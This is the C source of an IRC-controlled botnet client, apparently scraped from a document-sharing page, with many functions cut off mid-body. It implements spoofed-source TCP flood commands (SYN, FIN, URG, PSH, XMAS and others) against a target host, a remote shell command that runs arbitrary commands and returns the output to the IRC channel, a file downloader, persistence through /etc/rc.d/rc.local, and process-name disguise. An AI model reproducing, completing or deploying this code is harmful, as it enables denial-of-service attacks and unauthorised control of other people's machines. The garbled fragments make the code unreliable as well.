Professional Documents
Culture Documents
udp <port> syn <port> fin <port> psh <port> ack <port> urg <port> rst <port> ece
<port> cwr <port> sew <port> xmas <port> unknown
} int Send(int sock, char *words, ...) { static char textBuffer[1024]; va_list
args; va_start(args, words); vsprintf(textBuffer, words, args); va_end(args);
return write(sock,textBuffer,strlen(textBuffer)); } int mfork(char *sender)
{ unsigned int parent, *newpids, i; if (disabled == 1) { Send(sock,"NOTICE %s
:Unable to comply.\n",sender); return 1; } parent=fork(); if (parent <= 0) return
parent; numpids++; newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
for (i=0;i
if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1)
exit(0); for(;;) { fd_set bla; struct timeval timee; FD_ZERO(&bla);
FD_SET(tmpsock,&bla); timee.tv_sec=timee.tv_usec=60; if (select(tmpsock + 1,&bla,
(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0); if (FD_ISSET(tmpsock,&bla)) break; } i
= recv(tmpsock,szBuffer,1024,0); if (i <= 0 || i >= 20) exit(0); szBuffer[i]=0; if
(szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0; if (szBuffer[i-2]
== '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0; Send(tmpsock,"%s : USERID : UNIX
: %s\n",szBuffer,ident); close(tmpsock); close(sockfd); exit(0); } long pow(long a,
long b) { if (b == 0) return 1; if (b == 1) return a; return a*pow(a,b-1); }
u_short in_cksum(u_short *addr, int len) { register int nleft = len; register
u_short *w = addr; register int sum = 0; u_short answer =0; while (nleft > 1) { sum
+= *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum
+= answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum;
return(answer); } void get(int sock, char *sender, int argc, char **argv) { int
sock2,i,d; struct sockaddr_in server; unsigned long ipaddr; char buf[1024]; FILE
*file; unsigned char bufm[4096]; if (mfork(sender) != 0) return; if (argc < 2)
{ Send(sock,"NOTICE %s :GET <save as>\n",sender); exit(0); } if ((sock2 =
socket(AF_INET, SOCK_STREAM, 0)) == -1) { Send(sock,"NOTICE %s :Unable to create
socket.\n",sender);
} } void syn(int sock, char *sender, int argc, char **argv) { struct send_tcp
send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int
syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int
psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t
start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE
%s :SYN <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++)
send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]);
dest=htons(atoi(argv[2])); Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = 6;
send_tcp.tcp.doff = 5; send_tcp.tcp.res1 = 0; send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0; send_tcp.tcp.psh = 0; send_tcp.tcp.rst = 0; send_tcp.tcp.fin
= 0; send_tcp.tcp.urg = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.ack = 1;
send_tcp.tcp.window = 30845; send_tcp.tcp.urg_ptr = 0; while(1) { saddr=getspoof();
if (atoi(argv[2]) == 0) dest=rand(); send_tcp.ip.tot_len = htons(40+psize);
send_tcp.ip.id = rand(); send_tcp.ip.check = 0; send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr; send_tcp.tcp.source = rand(); send_tcp.tcp.dest = dest;
send_tcp.tcp.seq = rand(); send_tcp.tcp.ack_seq = rand();
} close(get); exit(0);
} void nssyn(int sock, char *sender, int argc, char **argv) { struct send_tcp
send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int
syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int
psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t
start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE
%s :NSSYN <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++)
send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]);
Send(sock,"NOTICE %s :Packeting %s \n",sender,argv[1]); send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4; send_tcp.ip.tos = 16; send_tcp.ip.frag_off = 64;
send_tcp.ip.ttl = 64; send_tcp.ip.protocol = 6; send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.doff = 10; send_tcp.tcp.res1 = 0; send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.ack = 0; send_tcp.tcp.psh
= 0;
} void sew(int sock, char *sender, int argc, char **argv) { struct send_tcp
send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int
syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int
psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t
start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE
%s :SEW <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++)
send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]);
dest=htons(atoi(argv[2])); Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = 6;
send_tcp.tcp.doff = 5; send_tcp.tcp.res1 = 3; send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.ack = 0; send_tcp.tcp.psh
= 0; send_tcp.tcp.rst = 0; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 1;
send_tcp.tcp.window = 30845; send_tcp.tcp.urg_ptr = 0; while(1) { saddr=getspoof();
if (atoi(argv[2]) == 0) dest=rand(); send_tcp.ip.tot_len = htons(40+psize);
send_tcp.ip.id = rand(); send_tcp.ip.check = 0; send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr; send_tcp.tcp.source = rand(); send_tcp.tcp.dest = dest;
send_tcp.tcp.seq = rand(); send_tcp.tcp.ack_seq = rand(); send_tcp.tcp.check = 0;
sin.sin_family = AF_INET; sin.sin_port = send_tcp.tcp.dest;
32+psize); sizeof(sin));
} close(get); exit(0);
} void fin(int sock, char *sender, int argc, char **argv) { struct send_tcp
send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int
syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int
psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t
start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE
%s :FIN <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++)
send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]);
dest=htons(atoi(argv[2])); Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = 6;
send_tcp.tcp.doff = 5; send_tcp.tcp.res1 = 0; send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.syn = 0; send_tcp.tcp.psh
= 0; send_tcp.tcp.rst = 0; send_tcp.tcp.fin = 1; send_tcp.tcp.ack = 1;
32+psize); sizeof(sin));
} close(get); exit(0);
} void urg(int sock, char *sender, int argc, char **argv) { struct send_tcp
send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int
syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int
psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t
start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE
%s :URG <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++)
send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]);
dest=htons(atoi(argv[2])); Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = 6;
send_tcp.tcp.doff = 5; send_tcp.tcp.res1 = 0; send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0; send_tcp.tcp.syn = 0; send_tcp.tcp.fin = 0; send_tcp.tcp.psh
= 0; send_tcp.tcp.rst = 0; send_tcp.tcp.urg = 1; send_tcp.tcp.ack = 1;
send_tcp.tcp.window = 30845; send_tcp.tcp.urg_ptr = 0; while(1) { saddr=getspoof();
if (atoi(argv[2]) == 0) dest=rand(); send_tcp.ip.tot_len = htons(40+psize);
send_tcp.ip.id = rand(); send_tcp.ip.check = 0;
} close(get); exit(0);
} void psh(int sock, char *sender, int argc, char **argv) { struct send_tcp
send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int
syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int
psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t
start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE
%s :PSH <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++)
send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]);
dest=htons(atoi(argv[2])); Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = 6;
send_tcp.tcp.doff = 5;
} a++;
a=0;
} close(get); exit(0);
} void xmas(int sock, char *sender, int argc, char **argv) { struct send_tcp
send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int
syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int
psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t
start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE
%s :XMAS <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++)
send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]);
dest=htons(atoi(argv[2])); Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = 6;
send_tcp.tcp.doff = 5; send_tcp.tcp.res1 = 0; send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.fin = 1; send_tcp.tcp.urg
= 1; send_tcp.tcp.psh = 1; send_tcp.tcp.ack = 1; send_tcp.tcp.rst = 0;
send_tcp.tcp.window = 30845; send_tcp.tcp.urg_ptr = 0; while(1) { saddr=getspoof();
if (atoi(argv[2]) == 0) dest=rand(); send_tcp.ip.tot_len = htons(40+psize);
send_tcp.ip.id = rand(); send_tcp.ip.check = 0; send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr; send_tcp.tcp.source = rand(); send_tcp.tcp.dest = dest;
send_tcp.tcp.seq = rand(); send_tcp.tcp.ack_seq = rand(); send_tcp.tcp.check = 0;
sin.sin_family = AF_INET;
} close(get); exit(0);
} void nsack(int sock, char *sender, int argc, char **argv) { struct send_tcp
send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int
syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int
psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t
start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE
%s :NSACK <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++)
send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]);
dest=htons(atoi(argv[2])); Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]);
send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = 6;
send_tcp.tcp.doff = 5; send_tcp.tcp.res1 = 0; send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.ack = 1; send_tcp.tcp.psh
= 1; send_tcp.tcp.rst = 0; send_tcp.tcp.fin = 0;
} close(fd); exit(0);
} void move(int sock, char *sender, int argc, char **argv) { if (argc < 1)
{ Send(sock,"NOTICE %s :MOVE <server>\n",sender); exit(1); }
server=strdup(argv[1]); changeservers=1; close(sock); } void killall(int sock, char
*sender, int argc, char **argv) { unsigned long i; for (i=0;i
{ "SPOOFS", spoof }, { "DISABLE", disable }, { "ENABLE", enable }, { "KILL",
killd }, { "GET", get }, { "VERSION", version }, { "KILLALL", killall }, { (char
*)0, (void (*)(int,char *,int,char **))0 } }; void _PRIVMSG(int sock, char *sender,
char *str) { int i; char *to, *message; for (i=0;i<strlen(str) && str[i] != ' ';i+
+); str[i]=0; to=str; message=str+i+2; for (i=0;i<strlen(sender) && sender[i] !=
'!';i++); sender[i]=0; if (*message == '!' && !strcasecmp(to,chan)) { char
*params[12], name[1024]={0}; int num_params=0, m; message++; for
(i=0;i<strlen(message) && message[i] != ' ';i++); message[i]=0; if
(strwildmatch(message,nick)) return; message+=i+1; if (!strncmp(message,"IRC ",4))
if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else
Send(sock,"%s\n",message+4); if (!strncmp(message,"SH ",3)) { char buf[1024]; FILE
*command; if (mfork(sender) != 0) return; memset(buf,0,1024); sprintf(buf,"export
PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
command=popen(buf,"r"); while(!feof(command)) { memset(buf,0,1024);
fgets(buf,1024,command); Send(sock,"NOTICE %s :%s\n",sender,buf); sleep(1); }
pclose(command); exit(0); } m=strlen(message); for (i=0;i<m;i++) { if (*message ==
' ' || *message == 0) break; name[i]=*message; message++; } for
(i=0;i<strlen(message);i++) if (message[i] == ' ') num_params+ +; num_params++; if
(num_params > 10) num_params=10; params[0]=name; params[num_params+1]="\0"; m=1;
while (*message != 0) { message++;
} int main(int argc, char **argv) { int on,i; char cwd[256],*str; FILE *file;
#ifdef STARTUP str="/etc/rc.d/rc.local"; file=fopen(str,"r"); if (file == NULL)
{ str="/etc/rc.conf"; file=fopen(str,"r"); } if (file != NULL) { char outfile[256],
buf[1024]; int i=strlen(argv[0]), d=0; getcwd(cwd,256); if (strcmp(cwd,"/"))
{ while(argv[0][i] != '/') i--; sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
while(!feof(file)) { fgets(buf,1024,file); if (!strcasecmp(buf,outfile)) d++; } if
(d == 0) { FILE *out; fclose(file); out=fopen(str,"a"); if (out != NULL)
{ fputs(outfile,out); fclose(out); } } else fclose(file); } else fclose(file); }
#endif if (fork()) exit(0); #ifdef FAKENAME
strncpy(argv[0],FAKENAME,strlen(argv[0])); for (on=1;on<argc;on++)
memset(argv[on],0,strlen(argv[on])); #endif srand((time(NULL) ^ getpid()) +
getppid()); nick=makestring(); ident=makestring(); user=makestring(); chan=CHAN;
key=KEY; server=NULL; sa: #ifdef IDENT for (i=0;i
} pids=NULL; numpids=0; identd(); #endif
int));